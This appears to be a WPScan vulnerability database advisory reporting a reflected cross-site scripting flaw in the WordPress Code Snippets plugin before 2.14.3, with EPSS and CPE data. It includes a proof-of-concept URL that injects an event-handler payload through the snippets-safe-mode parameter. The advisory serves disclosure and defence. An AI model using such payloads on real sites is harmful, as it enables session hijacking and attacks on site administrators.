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wpvulndbKrzysztof ZającWPVDB-ID:CB232354-F74D-48BB-B437-7BDDDD1DF42A
HistoryDec 27, 2021 - 12:00 a.m.

Code Snippets < 2.14.3 - Reflected Cross-Site Scripting

2021-12-2700:00:00
Krzysztof Zając
wpscan.com
6

0.001 Low

EPSS

Percentile

43.6%

The plugin does not escape the snippets-safe-mode parameter before outputting it back in attributes, leading to a Reflected Cross-Site Scripting issue

PoC

https://example.com/wp-admin/admin.php?page=snippets&amp;snippets-safe-mode;[0]="+style%3Danimation-name%3Arotation+onanimationstart%3Dalert(/XSS/)+x%3D

CPENameOperatorVersion
code-snippetslt2.14.3

0.001 Low

EPSS

Percentile

43.6%

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